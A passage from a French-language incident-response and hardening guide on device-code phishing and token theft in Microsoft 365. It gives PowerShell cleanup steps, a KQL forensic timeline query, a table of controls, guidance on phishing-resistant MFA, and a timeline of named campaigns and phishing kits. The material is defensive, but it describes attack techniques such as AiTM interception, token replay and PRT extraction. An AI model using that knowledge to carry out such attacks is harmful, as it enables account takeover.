Select-Object Id, DisplayName, RegistrationDateTime, TrustType |
Sort-Object RegistrationDateTime -Descending
# Comparer avec les appareils connus légitimes ; supprimer les suspects :
Remove-MgUserRegisteredDevice -UserId $idUtilisateur -DirectoryObjectId "<id_appareil_suspect>"
# Étape 4 : Supprimer les règles de boîte mail malveillantes créées pour la persistance
Connect-ExchangeOnline
Get-InboxRule -Mailbox $idUtilisateur |
Where-Object {$_.DeleteMessage -eq $true -or $_.ForwardTo -ne $null} |
Select-Object Name, ForwardTo, DeleteMessage, MarkAsRead
# Supprimer les règles non créées par l'utilisateur :
Remove-InboxRule -Mailbox $idUtilisateur -Identity "<nom_règle>"
# Étape 5 : Supprimer les grants de consentement d'application OAuth
Get-MgUserOAuth2PermissionGrant -UserId $idUtilisateur |
Select-Object ClientId, Scope, ConsentType
Remove-MgOAuth2PermissionGrant -OAuth2PermissionGrantId "<id_grant>"
# Étape 6 : Vérifier les nouvelles méthodes MFA ajoutées par l'attaquant
Get-MgUserAuthenticationMethod -UserId $idUtilisateur
# Rechercher des numéros de téléphone, authentificateurs TOTP ou clés FIDO non reconnus
7.2 Reconstruction de la Chronologie Forensique
Après containment, reconstruisez exactement ce à quoi l'attaquant a accédé :
// Reconstruction complète de l'activité pour un compte compromis
let UtilisateurCompromis = "victime@entreprise.com";
let DébutAttaque = datetime(2025-01-15 23:00:00);
let FinAttaque = datetime(2025-01-16 06:00:00);
// Tous les événements d'authentification
SigninLogs
| where TimeGenerated between (DébutAttaque .. FinAttaque)
| where UserPrincipalName == UtilisateurCompromis
| project TimeGenerated, Type="Connexion Interactive",
Détails=strcat(AppDisplayName, " depuis ", IPAddress, " (",
tostring(LocationDetails.countryOrRegion), ")"),
ProtocoAuthent = AuthenticationProtocol,
Risque = RiskLevelAggregated
| union (
NonInteractiveUserSignInLogs
| where TimeGenerated between (DébutAttaque .. FinAttaque)
| where UserPrincipalName == UtilisateurCompromis
| project TimeGenerated, Type="Actualisation Silencieuse de Jeton",
Détails=strcat(AppDisplayName, " depuis ", IPAddress),
ProtocoAuthent = AuthenticationProtocol,
Risque = RiskLevelAggregated
)
| union (
AuditLogs
| where TimeGenerated between (DébutAttaque .. FinAttaque)
| where InitiatedBy.user.userPrincipalName == UtilisateurCompromis
| project TimeGenerated, Type="Action Répertoire",
Détails=strcat(OperationName, ": ", tostring(TargetResources[0].displayName)),
ProtocoAuthent="N/A",
Risque="N/A"
)
| sort by TimeGenerated asc
| project TimeGenerated, Type, Détails, ProtocoAuthent, Risque
Partie 8 La Feuille de Route de Durcissement : Ce Qui Arrête Vraiment Cela
| Contrôle | Priorité | Complexité | Réduction du Risque | Mises en Garde |
|---|---|---|---|---|
| Bloquer le flux de code d'appareil dans CA | P0 | Faible | Élimine entièrement le hameçonnage par code d'appareil | Auditer d'abord ; peut casser des intégrations IoT/héritées |
| Activer NonInteractiveUserSignInLogs dans SIEM | P0 | Faible | Comble la lacune de détection majeure | Augmentation du volume de journaux ; assurer la rétention |
| MFA résistant au phishing (FIDO2 / Passkeys) | P1 | Moyen | Élimine le vol d'identifiants AiTM | Nécessite des clés matérielles ou des appareils compatibles |
| Bloquer les protocoles d'authentification hérités | P1 | Moyen | Élimine le brute-force SMTP/IMAP | Casser les apps héritées d'abord ; tester en mode rapport |
| Exiger un appareil conforme pour toutes les apps cloud | P1 | Élevé | Le rejeu de jeton depuis un appareil non géré échoue à CA | Nécessite l'enrollment complet Intune ; friction utilisateur |
| Fréquence de connexion : 1–4h pour les ressources sensibles | P1 | Faible | Limite la fenêtre de rejeu de jetons | Friction de re-auth pour les utilisateurs légitimes |
| CAE pour Exchange/SharePoint/Teams | P2 | Faible | La révocation de jeton se propage en minutes | Nécessite des clients compatibles CAE |
| Restreindre le consentement d'apps OAuth aux apps approuvées par admin | P2 | Moyen | Bloque les attaques de consentement illicite | Surcharge administrative pour les approbations d'apps |
| Application du TPM sur tous les appareils Windows | P2 | Élevé | Rend l'extraction du PRT infaisable | Un renouvellement matériel peut être nécessaire |
| Stratégie CA de Protection des Jetons (préversion) | P2 | Faible | Lie les jetons à des appareils spécifiques | Fonctionnalité en préversion ; support d'apps limité |
MFA Résistant au Phishing : Ce Que Cela Signifie Vraiment
"MFA résistant au phishing" désigne spécifiquement les méthodes d'authentification où l'identifiant est cryptographiquement lié à l'origine de la partie de confiance ce qui signifie que même un proxy AiTM ne peut pas l'intercepter.
Cela s'applique à :
- Clés de sécurité FIDO2 (YubiKey, etc.) : La clé privée ne quitte jamais le token matériel ; la réponse de défi est délimitée au domaine d'origine exact
- Windows Hello for Business : Lié au TPM de l'appareil ; cryptographiquement lié au domaine de connexion
- Authentification basée sur certificat : Certificats clients avec clés matérielles
Cela ne s'applique pas à :
- Codes TOTP / basés sur le temps (code Microsoft Authenticator) : Peuvent être interceptés par un proxy AiTM en temps réel
- Notifications push : Peuvent être hameçonnées via la fatigue MFA ou transmises
- OTP SMS : Peuvent être SIM-swappés
Résumé pour les RSSI : Que Faire Lundi Matin
1. Exécutez la requête d'audit de code d'appareil aujourd'hui. Déterminez si le hameçonnage par code d'appareil se produit déjà dans votre tenant. Extrayez 30 jours de SigninLogs où AuthenticationProtocol == "deviceCode". Les résultats seront soit rassurants, soit immédiatement actionnables.
2. Assurez-vous que les NonInteractiveUserSignInLogs sont intégrés dans votre SIEM. S'ils ne le sont pas, vous avez un angle mort pour le rejeu de jetons. C'est un changement de configuration, pas un achat de produit.
3. Mettez la stratégie CA "Bloquer le flux de code d'appareil" en mode rapport immédiatement. Voyez ce qui se casse. Vous avez 30 jours de données de connexion pour évaluer l'impact. La plupart des environnements trouveront une utilisation légitime quasi nulle.
4. Identifiez vos comptes de la plus haute valeur (dirigeants, admins informatiques, responsables financiers). Appliquez des clés matérielles FIDO2 pour ces utilisateurs en premier. Le modèle de menace pour un DAF hameçonné par code d'appareil est catégoriquement différent de celui d'un utilisateur de la main-d'œuvre générale.
5. Créez un runbook de révocation de jetons. Lorsqu'un incident de vol de jeton est confirmé, votre équipe doit exécuter la séquence de révocation en moins de 10 minutes. Si ce processus nécessite une chaîne d'approbation de 30 minutes, l'attaquant a déjà pivoté.
Chronologie : Du Hameçonnage par Code d'Appareil à la Commodité (2021–2026)
| Date | Événement |
|---|---|
| 2021 | Secureworks documente le hameçonnage OAuth par code d'appareil ciblant des acteurs liés à la Russie ; publie SquarePhish |
| Mi-2024 | Microsoft suit Storm-2372 (aligné sur la Russie) utilisant le hameçonnage par code d'appareil contre des gouvernements, ONG et entreprises dans plus de 15 pays |
| Fév. 2025 | Microsoft divulgue publiquement la campagne Storm-2372 ; attribue avec haute confiance aux acteurs étatiques russes |
| Juin 2025 | ShinyHunters/Scattered Spider utilisent le vol de jetons OAuth via l'intégration Salesloft/Drift pour violer Salesforce dans 700+ organisations dont Cloudflare, Zscaler, Tenable |
| Sep. 2025 | Proofpoint observe une hausse "très inhabituelle" des campagnes de hameçonnage par code d'appareil plusieurs clusters de menaces adoptent simultanément |
| Oct. 2025 | TA2723 (motivation financière) commence à utiliser le hameçonnage par code d'appareil à grande échelle la technique passe des APT à la cybercriminalité de commodité |
| Déc. 2025 | Proofpoint publie ses recherches ; les kits de phishing SquarePhish2 et Graphish publiquement documentés |
| Fév. 2026 | La plateforme PhaaS EvilTokens émerge le hameçonnage par code d'appareil entièrement banalisé comme offre de service |
| Avr. 2026 | Microsoft documente une campagne de hameçonnage par code d'appareil activée par l'IA utilisant la génération dynamique de code et l'automatisation backend Railway.com |
Références
- Microsoft Security Blog : "Inside an AI-enabled device code phishing campaign" (Avril 2026)
- Proofpoint : "Access granted: phishing with device code authorization for account takeover" (Décembre 2025)
- Dirk-jan Mollema : "Introducing ROADtools" et recherches sur le PRT (roadlib.readthedocs.io)
- Ontinue : Rapport de renseignement sur les menaces "Tycoon 2FA Phishing Kit" (2025)
- CISA Alert AA25-039A : OAuth 2.0 Device Authorization Abuse
- Documentation Microsoft : Politique de flux d'authentification de l'Accès Conditionnel